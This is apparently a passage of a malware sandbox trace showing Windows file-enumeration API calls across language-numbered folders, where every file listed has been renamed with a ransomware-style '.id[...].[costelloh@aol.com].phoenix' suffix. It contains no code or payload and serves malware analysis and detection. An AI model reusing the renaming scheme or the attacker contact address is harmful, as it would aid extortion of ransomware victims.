	[0218.875] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1025", cAlternateFileName="")) returned 1
	[0218.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0218.876] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.876] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce7532c, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ce7532c, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ce9be93, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x1e82, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0218.876] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce7532c, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ce7532c, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cec18a3, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x122f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0218.876] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ccab82a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ccab82a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ccf7c1f, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0218.876] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ccab82a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ccab82a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ccf7c1f, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0218.876] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0218.877] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0218.878] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1028", cAlternateFileName="")) returned 1
	[0218.878] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393e0
	[0218.919] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.919] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce9be93, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ce9be93, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d1e2968, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x19a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0218.919] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cec18a3, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cec18a3, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d1bc9aa, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xeea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0218.919] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ccab82a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ccab82a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cce24e2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0218.919] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ccab82a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ccab82a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cce24e2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0218.920] FindClose (in: hFindFile=0x1393e0 | out: hFindFile=0x1393e0) returned 1
	[0218.920] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0218.920] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1029", cAlternateFileName="")) returned 1
	[0218.920] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393e0
	[0218.921] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.921] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1bc9aa, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d1bc9aa, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d1e2968, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0218.921] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1e2968, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d1e2968, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d208cc4, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x13d52, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0218.922] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cce24e2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cce24e2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d019f84, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0218.922] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cce24e2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cce24e2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d019f84, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0218.922] FindClose (in: hFindFile=0x1393e0 | out: hFindFile=0x1393e0) returned 1
	[0218.923] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0218.923] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1030", cAlternateFileName="")) returned 1
	[0218.923] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0218.924] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.924] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1e2968, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d1e2968, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d208cc4, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xdf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0218.924] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d208cc4, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d208cc4, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d22eff4, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x130c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0218.924] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd1df33, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cd1df33, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cd440f7, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0218.924] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd1df33, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cd1df33, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cd440f7, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0218.924] FindClose (in: hFindFile=0x139560 | out: hFindFile=0x139560) returned 1
	[0218.925] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0218.925] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1031", cAlternateFileName="")) returned 1
	[0218.925] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393e0
	[0218.927] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.927] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d208cc4, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d208cc4, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d6a7fd0, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xe52, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0218.927] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d22eff4, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d22eff4, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d27b31f, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x142b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0218.927] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd440f7, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cd440f7, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cff2bb2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0218.927] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd440f7, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cd440f7, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cff2bb2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0218.927] FindClose (in: hFindFile=0x1393e0 | out: hFindFile=0x1393e0) returned 1
	[0218.928] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0218.928] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1032", cAlternateFileName="")) returned 1
	[0218.928] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0218.929] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.929] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d59c5c6, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d59c5c6, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d7d8a5a, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x23a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0218.929] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6a7fd0, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d6a7fd0, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d7b264c, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x15212, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0218.930] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cff2bb2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cff2bb2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d019f84, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0218.930] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cff2bb2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cff2bb2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d019f84, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0218.930] FindClose (in: hFindFile=0x139560 | out: hFindFile=0x139560) returned 1
